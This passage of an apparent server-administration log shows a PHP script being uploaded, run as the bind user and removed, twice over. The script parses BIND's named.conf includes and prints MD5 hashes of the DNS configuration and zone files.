MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:25:00: Establishing a connection
2026-04-28 10:25:00: 

PUT: /tmp/pkp923421

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:25:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp923421; rm /tmp/pkp923421'

2026-04-28 10:25:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:25:12: Establishing a connection
2026-04-28 10:25:12: 

PUT: /tmp/pkp294409

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:25:12: 

runuser -l bind -s /bin/bash -c '/tmp/pkp294409; rm /tmp/pkp294409'

2026-04-28 10:25:12: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
